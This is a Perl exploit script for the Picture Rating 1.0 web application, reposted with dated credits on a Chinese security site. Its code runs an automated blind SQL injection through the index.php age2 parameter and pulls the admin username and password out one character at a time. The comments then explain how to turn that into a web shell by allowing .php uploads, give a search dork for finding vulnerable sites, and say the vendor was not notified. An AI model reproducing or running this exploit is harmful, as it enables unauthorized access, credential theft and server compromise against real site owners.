|
Picture Rating 1.0 Blind SQL Injection Exploit
|
|
来源：h4ck-y0u.org 作者：t0pP8uZz 发布时间：2008-04-07
|
|
#!/usr/bin/perl
# -- Picture Rating 1.0 Blind SQL Injection Exploit --
# -Info/Instructions-
# After running this perl script, you will have admin details therefore you will be able to login to the admin area at http://site.com/control/
# ok once you have logged in has admin you can upload a shell, click "edit settings" and under the allowed extensions, add ".php" ok now
# register as a normal user or backup the database and get a existing users and login to the main site and navigate to upload image/photo and choose your shell and click upload
# the shell should successfully upload and now you will see a broken image, right click the broken image icon and get the link, navigate to this link in your browser and thats your shell ;)
# Vendor Not Notified
# Discovered By: t0pP8uZz
# Discovered On: 6 April 2008
# greetz: milw0rm.com, h4ck-y0u.org, ciphercrew!
# inurl:"index.php?cmd=" Latest Pictures hot
# -- Picture Rating 1.0 Blind SQL Injection Exploit --
use strict;
use LWP::Simple;
print "---------- Picture Rating 1.0 Blind SQL Injection Exploit ----------\n";
print "- Discovered && Coded By: t0pP8uZz -\n";
print "- Discovered On: 6 April 2008 -\n";
print "- -\n";
print "- This exploit will perform a automated BLIND SQL attack on .. -\n";
print "- .. the target host which is running the script. -\n";
print "--------------------------------------------------------------------\n";
print "\nEnter URL (ie: http://site.com/): ";
chomp(my $url=<STDIN>);
if(inject_test($url)) {
print "Injecting.. Please Wait this could take several minutes..\n\n";
my $details = blind($url);
print "Exploit Success! Admin Details: ".$details;
exit;
}
sub blind {
my $url = shift;
my $res = undef;
my $chr = 48;
my $substr = 1;
my $done = 1;
while($done) {
my $content = get($url."/index.php?cmd=11&listpics=Y&age1=13&age2=99 and ascii(substring((SELECT CONCAT(username,0x3a,password,0x5E) FROM admin),".$substr.",1))=".$chr."/*");
if($content =~ /Previous/ && $chr == 94) { $done = 0; }
elsif($content =~ /Previous/) { $res .= chr($chr); $substr++; $chr = 48; }
else { $chr++; }
}
return $res;
}
sub inject_test {
my $url = shift;
my $true = get($url."/index.php?cmd=11&listpics=Y&age1=13&age2=99 and 1=1");
my $false = get($url."/index.php?cmd=11&listpics=Y&age1=13&age2=99 and 1=2");
if($true =~ /Previous/ && $false !~ /Previous/) {
print "\nTarget Site Vulnerable!\n\n";
return 1;
} else { print "\nTarget Site Not Vulnerable! Exiting.."; exit; }
}
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
|
|
 |
|
推荐广告 |
|
|
|
|
|
